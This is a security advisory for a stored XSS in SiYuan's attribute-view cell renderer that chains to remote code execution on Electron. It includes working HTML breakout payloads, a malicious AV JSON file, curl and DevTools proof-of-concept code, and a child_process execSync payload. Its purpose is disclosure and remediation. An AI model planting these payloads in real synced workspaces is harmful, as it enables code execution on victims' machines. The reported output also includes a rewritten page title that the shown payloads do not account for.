CVE-2026-54158

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

• HEAD 96dfe0b (v3.6.5, 2026-04-21)
• Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw.
• Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212.
• Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json.
• Write path: kernel/model/attribute_view.go, updateAttributeViewValue and (*Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file.
• Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

export const genAVValueHTML = (value: IAVCellValue) => {
  let html = "";
  switch (value.type) {
    case "block":
      // escaped via escapeAttr, safe
      html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
      break;
    case "text":
      // value.text.content goes raw into a <textarea>
      html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
      break;
    case "url":
      // value.url.content goes raw into value="..." and href="..."
      html = `<input value="${value.url.content}" ...>
              <a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
      break;
    case "phone":
      // same pattern as url
      html = `<input value="${value.phone.content}" ...>
              <a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
      break;
    case "mAsset":
      value.mAsset?.forEach(item => {
        if (item.type === "image") {
          // item.content raw inside aria-label
          html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
        } else {
          // attributes escaped, but ${item.name || item.content} text-node is raw
          html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
        }
      });
      break;
    // other cases use escapeHtml / escapeAttr correctly
  }
  return html;
};

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

if (item.classList.contains("custom-attr__avvalue")) {
    item.innerHTML = genAVValueHTML(cellValue);
}

The write path

A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

docker run -d --name siyuan-poc \
  -v ./workspace:/siyuan/workspace \
  -p 16806:6806 \
  b3log/siyuan:latest \
  --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \
  -H "Authorization: Token $TOKEN" \
  -d '{"id":"20260519999999-poctest"}' \
  | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});

Output from my run:

{
  "textMarkerFired": true,
  "urlMarkerFired": true,
  "imgsInDiv": 3,
  "title": "AV_TEXT_XSS_OK"
}

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.